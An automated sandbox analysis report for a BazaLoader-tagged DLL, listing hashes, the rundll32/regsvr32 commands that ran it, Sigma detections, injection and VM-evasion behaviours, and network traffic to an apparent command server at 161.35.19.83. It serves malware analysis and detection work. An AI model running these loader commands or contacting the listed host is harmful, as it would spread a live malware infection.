Play interactive tour

Edit tour

Windows Analysis Report TWsmIoYqC6.dll

Overview

General Information

Sample Name:	TWsmIoYqC6.dll
Analysis ID:	492040
MD5:	fd6992463689acf855ef55d06a01061a
SHA1:	d8b3968a08b12e8ce4b1eec04eb5c86ad910145c
SHA256:	8b971c2c4c9a020eb274c36db20bc0e1b203a7909d63f48f99bef5594110929f
Tags:	BazaLoaderdllexe
Infos:
Most interesting Screenshot:

Detection

Bazar Loader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Sigma detected: Dridex Process Pattern

Sigma detected: CobaltStrike Load by Rundll32

Detected Bazar Loader

System process connects to network (likely due to code injection or exploit)

Sample uses process hollowing technique

Writes to foreign memory regions

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Sigma detected: Suspicious Svchost Process

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Modifies the context of a thread in another process (thread injection)

Performs a network lookup / discovery via net view

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

PE file contains sections with non-standard names

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Extensive use of GetProcAddress (often used to hide API calls)

Tries to load missing DLLs

Checks if the current process is being debugged

Registers a DLL

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

loaddll64.exe (PID: 6060 cmdline: loaddll64.exe 'C:\Users\user\Desktop\TWsmIoYqC6.dll' MD5: A84133CCB118CF35D49A423CD836D0EF)

cmd.exe (PID: 6504 cmdline: cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\TWsmIoYqC6.dll',#1 MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

rundll32.exe (PID: 6476 cmdline: rundll32.exe 'C:\Users\user\Desktop\TWsmIoYqC6.dll',#1 MD5: 73C519F050C20580F8A62C849D49215A)

regsvr32.exe (PID: 6500 cmdline: regsvr32.exe /s C:\Users\user\Desktop\TWsmIoYqC6.dll MD5: D78B75FC68247E8A63ACBA846182740E)

iexplore.exe (PID: 6460 cmdline: C:\Program Files\Internet Explorer\iexplore.exe MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 1496 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6460 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

rundll32.exe (PID: 1384 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,DllRegisterServer MD5: 73C519F050C20580F8A62C849D49215A)

svchost.exe (PID: 5684 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

net.exe (PID: 3576 cmdline: net view /all MD5: 15534275EDAABC58159DD0F8607A71E5)

conhost.exe (PID: 5332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

rundll32.exe (PID: 6848 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,DllUnregisterServer MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 5580 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,PauseW MD5: 73C519F050C20580F8A62C849D49215A)

svchost.exe (PID: 3148 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

rundll32.exe (PID: 6332 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,ResumeServer MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 5532 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,ResumeW MD5: 73C519F050C20580F8A62C849D49215A)

svchost.exe (PID: 5336 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

rundll32.exe (PID: 7152 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,StartServer MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 5328 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,StartW MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 5952 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,StopServer MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 5552 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,SuspendServer MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 5656 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_codec_set_threads MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 5924 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_create_compress MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 1312 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_create_decompress MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 6312 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_decode MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 7056 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_decode_tile_data MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 6700 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_destroy_codec MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 1200 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_destroy_cstr_index MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 7104 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_destroy_cstr_info MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 6424 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_dump_codec MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 5096 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_encode MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 1348 cmdline: rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_encoder_set_extra_options MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 6276 cmdline: C:\Windows\System32\rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,DllRegisterServer {FD4EF353-9C8C-48E0-BB05-78974FB93B24} MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 5700 cmdline: C:\Windows\System32\rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,PauseW {472D041F-5A83-4CB6-BA61-CCC2757AAF71} MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 6420 cmdline: C:\Windows\System32\rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,ResumeW {A30E4BC4-954D-4192-B87D-90749D0EE54D} MD5: 73C519F050C20580F8A62C849D49215A)

cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary:

Sigma detected: Dridex Process Pattern

Show sources

Source: Process started

Author: Florian Roth, oscd.community: Data: Command: net view /all, CommandLine: net view /all, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: C:\Windows\system32\svchost.exe -k UnistackSvcGroup, ParentImage: C:\Windows\System32\svchost.exe, ParentProcessId: 5684, ProcessCommandLine: net view /all, ProcessId: 3576

Sigma detected: CobaltStrike Load by Rundll32

Show sources

Source: Process started

Author: Wojciech Lesicki: Data: Command: rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,StartW, CommandLine: rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,StartW, CommandLine|base64offset|contains: , Image: C:\Windows\System32\rundll32.exe, NewProcessName: C:\Windows\System32\rundll32.exe, OriginalFileName: C:\Windows\System32\rundll32.exe, ParentCommandLine: loaddll64.exe 'C:\Users\user\Desktop\TWsmIoYqC6.dll', ParentImage: C:\Windows\System32\loaddll64.exe, ParentProcessId: 6060, ProcessCommandLine: rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,StartW, ProcessId: 5328

Sigma detected: Suspicious Svchost Process

Show sources

Source: Process started

Author: Florian Roth: Data: Command: C:\Windows\system32\svchost.exe -k UnistackSvcGroup, CommandLine: C:\Windows\system32\svchost.exe -k UnistackSvcGroup, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,DllRegisterServer, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 1384, ProcessCommandLine: C:\Windows\system32\svchost.exe -k UnistackSvcGroup, ProcessId: 5684

Sigma detected: Net.exe Execution

Show sources

Source: Process started

Author: Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements): Data: Command: net view /all, CommandLine: net view /all, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: C:\Windows\system32\svchost.exe -k UnistackSvcGroup, ParentImage: C:\Windows\System32\svchost.exe, ParentProcessId: 5684, ProcessCommandLine: net view /all, ProcessId: 3576

Sigma detected: Windows Network Enumeration

Show sources

Source: Process started

Author: Endgame, JHasenbusch (ported for oscd.community): Data: Command: net view /all, CommandLine: net view /all, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: C:\Windows\system32\svchost.exe -k UnistackSvcGroup, ParentImage: C:\Windows\System32\svchost.exe, ParentProcessId: 5684, ProcessCommandLine: net view /all, ProcessId: 3576

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 104.20.184.68:443 -> 192.168.2.3:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.184.68:443 -> 192.168.2.3:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.134:443 -> 192.168.2.3:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.134:443 -> 192.168.2.3:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.2.70:443 -> 192.168.2.3:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.2.70:443 -> 192.168.2.3:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.70:443 -> 192.168.2.3:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.70:443 -> 192.168.2.3:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 161.35.19.83:443 -> 192.168.2.3:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 161.35.19.83:443 -> 192.168.2.3:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 161.35.19.83:443 -> 192.168.2.3:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 161.35.29.127:443 -> 192.168.2.3:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.219.225.118:443 -> 192.168.2.3:49886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 87.248.100.216:443 -> 192.168.2.3:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.196:443 -> 192.168.2.3:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.3:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.219.225.118:443 -> 192.168.2.3:49922 version: TLS 1.2

Source: TWsmIoYqC6.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA

Spreading:

Performs a network lookup / discovery via net view

Show sources

Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\net.exe net view /all
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\net.exe net view /all

Source: C:\Windows\System32\svchost.exe	Code function: 24_2_00007FF70D70CE00 FindFirstFileExW,		24_2_00007FF70D70CE00
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00007FF70D70CE00 FindFirstFileExW,		29_2_00007FF70D70CE00

Networking:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\System32\svchost.exe	Domain query: myexternalip.com
Source: C:\Windows\System32\svchost.exe	Domain query: www.yahoo.com
Source: C:\Windows\System32\svchost.exe	Domain query: www.amazon.com
Source: C:\Windows\System32\svchost.exe	Domain query: www.google.com
Source: C:\Windows\System32\rundll32.exe	Network Connect: 161.35.19.83 187

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 161.35.19.83
Source: unknown	TCP traffic detected without corresponding DNS query: 161.35.19.83
Source: unknown	TCP traffic detected without corresponding DNS query: 161.35.19.83
Source: unknown	TCP traffic detected without corresponding DNS query: 161.35.19.83
Source: unknown	TCP traffic detected without corresponding DNS query: 161.35.19.83
Source: unknown	TCP traffic detected without corresponding DNS query: 161.35.19.83
Source: unknown	TCP traffic detected without corresponding DNS query: 161.35.19.83
Source: unknown	TCP traffic detected without corresponding DNS query: 161.35.19.83
Source: unknown	TCP traffic detected without corresponding DNS query: 161.35.19.83
Source: unknown	TCP traffic detected without corresponding DNS query: 161.35.19.83
Source: unknown	TCP traffic detected without corresponding DNS query: 161.35.19.83
Source: unknown	TCP traffic detected without corresponding DNS query: 161.35.19.83
Source: unknown	TCP traffic detected without corresponding DNS query: 161.35.19.83
Source: unknown	TCP traffic detected without corresponding DNS query: 161.35.19.83
Source: unknown	TCP traffic detected without corresponding DNS query: 161.35.19.83
Source: unknown	TCP traffic detected without corresponding DNS query: 161.35.19.83
Source: unknown	TCP traffic detected without corresponding DNS query: 161.35.19.83
Source: unknown	TCP traffic detected without corresponding DNS query: 161.35.19.83
Source: unknown	TCP traffic detected without corresponding DNS query: 161.35.19.83
Source: unknown	TCP traffic detected without corresponding DNS query: 161.35.19.83
Source: unknown	TCP traffic detected without corresponding DNS query: 161.35.19.83
Source: unknown	TCP traffic detected without corresponding DNS query: 161.35.19.83
Source: unknown	TCP traffic detected without corresponding DNS query: 161.35.19.83
Source: unknown	TCP traffic detected without corresponding DNS query: 161.35.19.83
Source: unknown	TCP traffic detected without corresponding DNS query: 161.35.19.83
Source: unknown	TCP traffic detected without corresponding DNS query: 161.35.19.83
Source: unknown	TCP traffic detected without corresponding DNS query: 161.35.19.83
Source: unknown	TCP traffic detected without corresponding DNS query: 161.35.19.83
Source: unknown	TCP traffic detected without corresponding DNS query: 161.35.19.83
